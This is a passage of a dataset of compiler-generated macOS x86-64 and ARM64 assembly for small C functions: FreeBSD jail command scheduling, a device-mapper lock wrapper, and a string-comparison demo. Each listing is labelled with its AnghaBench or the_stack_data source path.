LBB0_35: ## in Loop: Header=BB0_5 Depth=1
movq %rbx, %rdi
callq _run_command
cmpl $1, %eax
je LBB0_39
## %bb.36: ## in Loop: Header=BB0_5 Depth=1
cmpl $-1, %eax
jne LBB0_5
jmp LBB0_37
LBB0_18: ## in Loop: Header=BB0_5 Depth=1
addq $4, %rdi
callq _TAILQ_FIRST
jmp LBB0_27
LBB0_1:
movq _JF_FROM_RUNQ@GOTPCREL(%rip), %rax
movl (%rax), %eax
testl %eax, (%rbx)
je LBB0_3
## %bb.2:
movq _runnable@GOTPCREL(%rip), %rsi
movq %rbx, %rdi
callq _requeue_head
jmp LBB0_38
LBB0_37:
movq %rbx, %rdi
callq _failed
jmp LBB0_38
LBB0_3:
movq _runnable@GOTPCREL(%rip), %rsi
movq %rbx, %rdi
callq _requeue
LBB0_38:
movl $1, %eax
LBB0_39:
addq $24, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
.p2align 2, 0x90
.data_region jt32
.set L0_0_set_10, LBB0_10-LJTI0_0
.set L0_0_set_39, LBB0_39-LJTI0_0
.set L0_0_set_12, LBB0_12-LJTI0_0
.set L0_0_set_11, LBB0_11-LJTI0_0
.set L0_0_set_8, LBB0_8-LJTI0_0
LJTI0_0:
.long L0_0_set_10
.long L0_0_set_39
.long L0_0_set_10
.long L0_0_set_12
.long L0_0_set_11
.long L0_0_set_8
.end_data_region
## -- End function
.comm _paralimit,8,3 ## @paralimit
.comm _JF_FROM_RUNQ,4,2 ## @JF_FROM_RUNQ
.comm _runnable,4,2 ## @runnable
.comm _JF_STOP,4,2 ## @JF_STOP
.comm _JF_FAILED,4,2 ## @JF_FAILED
.comm _dummystring,8,3 ## @dummystring
.comm _PF_REV,4,2 ## @PF_REV
.comm _cfstrings,4,2 ## @cfstrings
.comm _tq,4,2 ## @tq
.comm _IP_EXEC_PRESTART,4,2 ## @IP_EXEC_PRESTART
.comm _IP_EXEC_CREATED,4,2 ## @IP_EXEC_CREATED
.comm _IP_EXEC_START,4,2 ## @IP_EXEC_START
.comm _IP_COMMAND,4,2 ## @IP_COMMAND
.comm _IP_EXEC_POSTSTART,4,2 ## @IP_EXEC_POSTSTART
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _next_command ; -- Begin function next_command
.p2align 2
_next_command: ; @next_command
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 96
stp x26, x25, [sp, #16] ; 16-byte Folded Spill
stp x24, x23, [sp, #32] ; 16-byte Folded Spill
stp x22, x21, [sp, #48] ; 16-byte Folded Spill
stp x20, x19, [sp, #64] ; 16-byte Folded Spill
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
.cfi_offset w27, -88
.cfi_offset w28, -96
mov x19, x0
Lloh0:
adrp x8, _paralimit@GOTPAGE
Lloh1:
ldr x8, [x8, _paralimit@GOTPAGEOFF]
Lloh2:
ldr x8, [x8]
cbz x8, LBB0_29
; %bb.1:
Lloh3:
adrp x8, _JF_FROM_RUNQ@GOTPAGE
Lloh4:
ldr x8, [x8, _JF_FROM_RUNQ@GOTPAGEOFF]
Lloh5:
ldr w8, [x8]
ldr w9, [x19]
bic w8, w9, w8
str w8, [x19]
Lloh6:
adrp x9, _JF_STOP@GOTPAGE
Lloh7:
ldr x9, [x9, _JF_STOP@GOTPAGEOFF]
Lloh8:
adrp x10, _JF_FAILED@GOTPAGE
Lloh9:
ldr x10, [x10, _JF_FAILED@GOTPAGEOFF]
Lloh10:
ldr w9, [x9]
Lloh11:
ldr w20, [x10]
orr w10, w20, w9
and w21, w10, w8
and w22, w9, w8
ldr x8, [x19, #8]
ldr w28, [x8]
cmp w21, w20
mov x8, #-1
cneg x23, x8, ne
Lloh12:
adrp x26, lJTI0_0@PAGE
Lloh13:
add x26, x26, lJTI0_0@PAGEOFF
Lloh14:
adrp x27, _dummystring@GOTPAGE
Lloh15:
ldr x27, [x27, _dummystring@GOTPAGEOFF]
Lloh16:
adrp x25, _tq@GOTPAGE
Lloh17:
ldr x25, [x25, _tq@GOTPAGEOFF]
b LBB0_3
LBB0_2: ; in Loop: Header=BB0_3 Depth=1
str xzr, [x19, #16]
LBB0_3: ; =>This Inner Loop Header: Depth=1
ldr x0, [x19, #16]
cbz x0, LBB0_9
; %bb.4: ; in Loop: Header=BB0_3 Depth=1
cmp x0, x27
b.eq LBB0_2
; %bb.5: ; in Loop: Header=BB0_3 Depth=1
cmp w21, w20
b.eq LBB0_8
; %bb.6: ; in Loop: Header=BB0_3 Depth=1
cbz w22, LBB0_12
; %bb.7: ; in Loop: Header=BB0_3 Depth=1
ldr x8, [x19, #24]
ldr x8, [x8, w28, uxtw #3]
ldr w8, [x8]
Lloh18:
adrp x9, _PF_REV@GOTPAGE
Lloh19:
ldr x9, [x9, _PF_REV@GOTPAGEOFF]
Lloh20:
ldr w9, [x9]
tst w9, w8
b.eq LBB0_12
LBB0_8: ; in Loop: Header=BB0_3 Depth=1
Lloh21:
adrp x8, _cfstrings@GOTPAGE
Lloh22:
ldr x8, [x8, _cfstrings@GOTPAGEOFF]
Lloh23:
ldr w1, [x8]
ldr w2, [x25]
bl _TAILQ_PREV
b LBB0_13
LBB0_9: ; in Loop: Header=BB0_3 Depth=1
ldr x8, [x19, #8]
add x8, x8, x23, lsl #2
str x8, [x19, #8]
ldr w24, [x8]
sub w8, w24, #128
cmp w8, #5
b.hi LBB0_16
; %bb.10: ; in Loop: Header=BB0_3 Depth=1
mov w0, #0
adr x9, LBB0_11
ldrb w10, [x26, x8]
add x9, x9, x10, lsl #2
br x9
LBB0_11: ; in Loop: Header=BB0_3 Depth=1
ldr x8, [x19, #24]
ldr x0, [x8, #1048]
bl _bool_param
mov w28, #131
mov w24, #131
cbnz w0, LBB0_23
b LBB0_3
LBB0_12: ; in Loop: Header=BB0_3 Depth=1
ldr w1, [x25]
bl _TAILQ_NEXT
LBB0_13: ; in Loop: Header=BB0_3 Depth=1
mov x24, x28
LBB0_14: ; in Loop: Header=BB0_3 Depth=1
str x0, [x19, #16]
mov x28, x24
cbz x0, LBB0_3
; %bb.15: ; in Loop: Header=BB0_3 Depth=1
ldr x8, [x0]
cbnz x8, LBB0_24
b LBB0_3
LBB0_16: ; in Loop: Header=BB0_3 Depth=1
ldr x8, [x19, #24]
ldr x8, [x8, x24, lsl #3]
mov x28, x24
cbz x8, LBB0_3
; %bb.17: ; in Loop: Header=BB0_3 Depth=1
cmp w21, w20
b.eq LBB0_20
; %bb.18: ; in Loop: Header=BB0_3 Depth=1
cbz w22, LBB0_28
; %bb.19: ; in Loop: Header=BB0_3 Depth=1
ldr w9, [x8]
Lloh24:
adrp x10, _PF_REV@GOTPAGE
Lloh25:
ldr x10, [x10, _PF_REV@GOTPAGEOFF]
Lloh26:
ldr w10, [x10]
tst w10, w9
b.eq LBB0_28
LBB0_20: ; in Loop: Header=BB0_3 Depth=1
add x0, x8, #4
Lloh27:
adrp x8, _cfstrings@GOTPAGE
Lloh28:
ldr x8, [x8, _cfstrings@GOTPAGEOFF]
Lloh29:
ldr w1, [x8]
bl _TAILQ_LAST
b LBB0_14
LBB0_21: ; in Loop: Header=BB0_3 Depth=1
ldr x8, [x19, #24]
ldr x0, [x8, #1056]
bl _bool_param
mov w28, #132
mov w24, #132
cbnz w0, LBB0_23
b LBB0_3
LBB0_22: ; in Loop: Header=BB0_3 Depth=1
ldr x8, [x19, #24]
ldr x0, [x8, #1064]
bl _bool_param
mov w28, #133
mov w24, #133
cbz w0, LBB0_3
LBB0_23: ; in Loop: Header=BB0_3 Depth=1
str x27, [x19, #16]
mov x28, x24
mov x0, x27
ldr x8, [x0]
cbz x8, LBB0_3
LBB0_24: ; in Loop: Header=BB0_3 Depth=1
cmp w21, w20
b.ne LBB0_26
; %bb.25: ; in Loop: Header=BB0_3 Depth=1
Lloh30:
adrp x8, _IP_EXEC_PRESTART@GOTPAGE
Lloh31:
ldr x8, [x8, _IP_EXEC_PRESTART@GOTPAGEOFF]
Lloh32:
ldr w8, [x8]
Lloh33:
adrp x9, _IP_EXEC_CREATED@GOTPAGE
Lloh34:
ldr x9, [x9, _IP_EXEC_CREATED@GOTPAGEOFF]
Lloh35:
ldr w9, [x9]
Lloh36:
adrp x10, _IP_EXEC_START@GOTPAGE
Lloh37:
ldr x10, [x10, _IP_EXEC_START@GOTPAGEOFF]
Lloh38:
ldr w10, [x10]
Lloh39:
adrp x11, _IP_COMMAND@GOTPAGE
Lloh40:
ldr x11, [x11, _IP_COMMAND@GOTPAGEOFF]
Lloh41:
ldr w11, [x11]
Lloh42:
adrp x12, _IP_EXEC_POSTSTART@GOTPAGE
Lloh43:
ldr x12, [x12, _IP_EXEC_POSTSTART@GOTPAGEOFF]
Lloh44:
ldr w12, [x12]
cmp w28, w8
ccmp w28, w9, #4, ne
ccmp w28, w10, #4, ne
ccmp w28, w11, #4, ne
ccmp w28, w12, #4, ne
b.eq LBB0_3
LBB0_26: ; in Loop: Header=BB0_3 Depth=1
mov x0, x19
bl _run_command
cmp w0, #1
b.eq LBB0_34
; %bb.27: ; in Loop: Header=BB0_3 Depth=1
cmn w0, #1
b.ne LBB0_3
b LBB0_31
LBB0_28: ; in Loop: Header=BB0_3 Depth=1
add x0, x8, #4
bl _TAILQ_FIRST
b LBB0_14
LBB0_29:
ldr w8, [x19]
Lloh45:
adrp x9, _JF_FROM_RUNQ@GOTPAGE
Lloh46:
ldr x9, [x9, _JF_FROM_RUNQ@GOTPAGEOFF]
Lloh47:
ldr w9, [x9]
Lloh48:
adrp x1, _runnable@GOTPAGE
Lloh49:
ldr x1, [x1, _runnable@GOTPAGEOFF]
mov x0, x19
tst w9, w8
b.eq LBB0_32
; %bb.30:
bl _requeue_head
b LBB0_33
LBB0_31:
mov x0, x19
bl _failed
b LBB0_33
LBB0_32:
bl _requeue
LBB0_33:
mov w0, #1
LBB0_34:
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
ldp x20, x19, [sp, #64] ; 16-byte Folded Reload
ldp x22, x21, [sp, #48] ; 16-byte Folded Reload
ldp x24, x23, [sp, #32] ; 16-byte Folded Reload
ldp x26, x25, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #96 ; 16-byte Folded Reload
ret
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGot Lloh16, Lloh17
.loh AdrpLdrGot Lloh14, Lloh15
.loh AdrpAdd Lloh12, Lloh13
.loh AdrpLdrGotLdr Lloh8, Lloh9, Lloh11
.loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh10
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5
.loh AdrpLdrGotLdr Lloh18, Lloh19, Lloh20
.loh AdrpLdrGotLdr Lloh21, Lloh22, Lloh23
.loh AdrpLdrGotLdr Lloh24, Lloh25, Lloh26
.loh AdrpLdrGotLdr Lloh27, Lloh28, Lloh29
.loh AdrpLdrGotLdr Lloh42, Lloh43, Lloh44
.loh AdrpLdrGotLdr Lloh39, Lloh40, Lloh41
.loh AdrpLdrGotLdr Lloh36, Lloh37, Lloh38
.loh AdrpLdrGotLdr Lloh33, Lloh34, Lloh35
.loh AdrpLdrGotLdr Lloh30, Lloh31, Lloh32
.loh AdrpLdrGot Lloh48, Lloh49
.loh AdrpLdrGotLdr Lloh45, Lloh46, Lloh47
.cfi_endproc
.section __TEXT,__const
lJTI0_0:
.byte (LBB0_23-LBB0_11)>>2
.byte (LBB0_34-LBB0_11)>>2
.byte (LBB0_23-LBB0_11)>>2
.byte (LBB0_11-LBB0_11)>>2
.byte (LBB0_21-LBB0_11)>>2
.byte (LBB0_22-LBB0_11)>>2
; -- End function
.comm _paralimit,8,3 ; @paralimit
.comm _JF_FROM_RUNQ,4,2 ; @JF_FROM_RUNQ
.comm _runnable,4,2 ; @runnable
.comm _JF_STOP,4,2 ; @JF_STOP
.comm _JF_FAILED,4,2 ; @JF_FAILED
.comm _dummystring,8,3 ; @dummystring
.comm _PF_REV,4,2 ; @PF_REV
.comm _cfstrings,4,2 ; @cfstrings
.comm _tq,4,2 ; @tq
.comm _IP_EXEC_PRESTART,4,2 ; @IP_EXEC_PRESTART
.comm _IP_EXEC_CREATED,4,2 ; @IP_EXEC_CREATED
.comm _IP_EXEC_START,4,2 ; @IP_EXEC_START
.comm _IP_COMMAND,4,2 ; @IP_COMMAND
.comm _IP_EXEC_POSTSTART,4,2 ; @IP_EXEC_POSTSTART
.subsections_via_symbols
| AnghaBench/freebsd/usr.sbin/jail/extr_command.c_next_command.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _dm_cell_release_no_holder ## -- Begin function dm_cell_release_no_holder
.p2align 4, 0x90
_dm_cell_release_no_holder: ## @dm_cell_release_no_holder
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
pushq %rax
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdx, %r14
movq %rsi, %r15
movq %rdi, %rbx
callq _spin_lock_irqsave
movq %r15, %rdi
movq %r14, %rsi
callq ___cell_release_no_holder
movq %rbx, %rdi
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
jmp _spin_unlock_irqrestore ## TAILCALL
.cfi_endproc
## -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _dm_cell_release_no_holder ; -- Begin function dm_cell_release_no_holder
.p2align 2
_dm_cell_release_no_holder: ; @dm_cell_release_no_holder
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x19, x2
mov x20, x1
mov x21, x0
bl _spin_lock_irqsave
mov x0, x20
mov x1, x19
bl ___cell_release_no_holder
mov x0, x21
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
b _spin_unlock_irqrestore
.cfi_endproc
; -- End function
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/drivers/md/extr_dm-bio-prison.c_dm_cell_release_no_holder.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
subq $8, %rsp
leaq L_.str.8(%rip), %r10
leaq L_.str.7(%rip), %r11
leaq L_.str.6(%rip), %rbx
leaq L_.str.1(%rip), %r14
leaq L_.str.2(%rip), %rdi
leaq L_.str.3(%rip), %rsi
leaq L_.str.4(%rip), %rcx
leaq L_.str(%rip), %rdx
leaq L_.str.5(%rip), %r9
movq %rdx, %r8
xorl %eax, %eax
pushq $-1
pushq %r10
pushq $1
pushq %r11
pushq $0
pushq %rbx
pushq %r14
callq _printf
addq $56, %rsp
leaq L_.str.9(%rip), %rdi
leaq L_.str.10(%rip), %rsi
leaq L_.str.11(%rip), %rcx
leaq L_.str.12(%rip), %r9
movl $1, %edx
movl $1, %r8d
xorl %eax, %eax
pushq $-1
callq _printf
addq $16, %rsp
xorl %eax, %eax
popq %rbx
popq %r14
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Feliz ano Novo"
L_.str.1: ## @.str.1
.asciz "Boas Ferias"
L_.str.2: ## @.str.2
.asciz "%s%s\n%s%s\n%s%s\n\n%s%2d\n%s%2d\n%s%2d\n\n"
L_.str.3: ## @.str.3
.asciz "s1 = "
L_.str.4: ## @.str.4
.asciz "s2 = "
L_.str.5: ## @.str.5
.asciz "s3 = "
L_.str.6: ## @.str.6
.asciz "strcmp(s1, s2) = "
L_.str.7: ## @.str.7
.asciz "strcmp(s1, s3) = "
L_.str.8: ## @.str.8
.asciz "strcmp(s3, s1) = "
L_.str.9: ## @.str.9
.asciz "%s%2d\n%s%2d\n%s%2d\n"
L_.str.10: ## @.str.10
.asciz "strncmp(s1, s3, 6) = "
L_.str.11: ## @.str.11
.asciz "strncmp(s1, s3, 7) = "
L_.str.12: ## @.str.12
.asciz "strncmp(s3, s1, 7) = "
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #128
.cfi_def_cfa_offset 128
stp x20, x19, [sp, #96] ; 16-byte Folded Spill
stp x29, x30, [sp, #112] ; 16-byte Folded Spill
add x29, sp, #112
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov w19, #-1
Lloh0:
adrp x8, l_.str.8@PAGE
Lloh1:
add x8, x8, l_.str.8@PAGEOFF
stp x8, x19, [sp, #80]
mov w20, #1
Lloh2:
adrp x8, l_.str.7@PAGE
Lloh3:
add x8, x8, l_.str.7@PAGEOFF
stp x8, x20, [sp, #64]
Lloh4:
adrp x8, l_.str.6@PAGE
Lloh5:
add x8, x8, l_.str.6@PAGEOFF
Lloh6:
adrp x9, l_.str.1@PAGE
Lloh7:
add x9, x9, l_.str.1@PAGEOFF
stp x8, xzr, [sp, #48]
Lloh8:
adrp x8, l_.str.5@PAGE
Lloh9:
add x8, x8, l_.str.5@PAGEOFF
Lloh10:
adrp x10, l_.str@PAGE
Lloh11:
add x10, x10, l_.str@PAGEOFF
stp x8, x9, [sp, #32]
Lloh12:
adrp x8, l_.str.4@PAGE
Lloh13:
add x8, x8, l_.str.4@PAGEOFF
Lloh14:
adrp x9, l_.str.3@PAGE
Lloh15:
add x9, x9, l_.str.3@PAGEOFF
stp x8, x10, [sp, #16]
Lloh16:
adrp x0, l_.str.2@PAGE
Lloh17:
add x0, x0, l_.str.2@PAGEOFF
stp x9, x10, [sp]
bl _printf
Lloh18:
adrp x8, l_.str.12@PAGE
Lloh19:
add x8, x8, l_.str.12@PAGEOFF
stp x8, x19, [sp, #32]
Lloh20:
adrp x8, l_.str.11@PAGE
Lloh21:
add x8, x8, l_.str.11@PAGEOFF
Lloh22:
adrp x9, l_.str.10@PAGE
Lloh23:
add x9, x9, l_.str.10@PAGEOFF
stp x8, x20, [sp, #16]
stp x9, x20, [sp]
Lloh24:
adrp x0, l_.str.9@PAGE
Lloh25:
add x0, x0, l_.str.9@PAGEOFF
bl _printf
mov w0, #0
ldp x29, x30, [sp, #112] ; 16-byte Folded Reload
ldp x20, x19, [sp, #96] ; 16-byte Folded Reload
add sp, sp, #128
ret
.loh AdrpAdd Lloh24, Lloh25
.loh AdrpAdd Lloh22, Lloh23
.loh AdrpAdd Lloh20, Lloh21
.loh AdrpAdd Lloh18, Lloh19
.loh AdrpAdd Lloh16, Lloh17
.loh AdrpAdd Lloh14, Lloh15
.loh AdrpAdd Lloh12, Lloh13
.loh AdrpAdd Lloh10, Lloh11
.loh AdrpAdd Lloh8, Lloh9
.loh AdrpAdd Lloh6, Lloh7
.loh AdrpAdd Lloh4, Lloh5
.loh AdrpAdd Lloh2, Lloh3
.loh AdrpAdd Lloh0, Lloh1
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Feliz ano Novo"
l_.str.1: ; @.str.1
.asciz "Boas Ferias"
l_.str.2: ; @.str.2
.asciz "%s%s\n%s%s\n%s%s\n\n%s%2d\n%s%2d\n%s%2d\n\n"
l_.str.3: ; @.str.3
.asciz "s1 = "
l_.str.4: ; @.str.4
.asciz "s2 = "
l_.str.5: ; @.str.5
.asciz "s3 = "
l_.str.6: ; @.str.6
.asciz "strcmp(s1, s2) = "
l_.str.7: ; @.str.7
.asciz "strcmp(s1, s3) = "
l_.str.8: ; @.str.8
.asciz "strcmp(s3, s1) = "
l_.str.9: ; @.str.9
.asciz "%s%2d\n%s%2d\n%s%2d\n"
l_.str.10: ; @.str.10
.asciz "strncmp(s1, s3, 6) = "
l_.str.11: ; @.str.11
.asciz "strncmp(s1, s3, 7) = "
l_.str.12: ; @.str.12
.asciz "strncmp(s3, s1, 7) = "
.subsections_via_symbols
| the_stack_data/179829465.c | stack |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.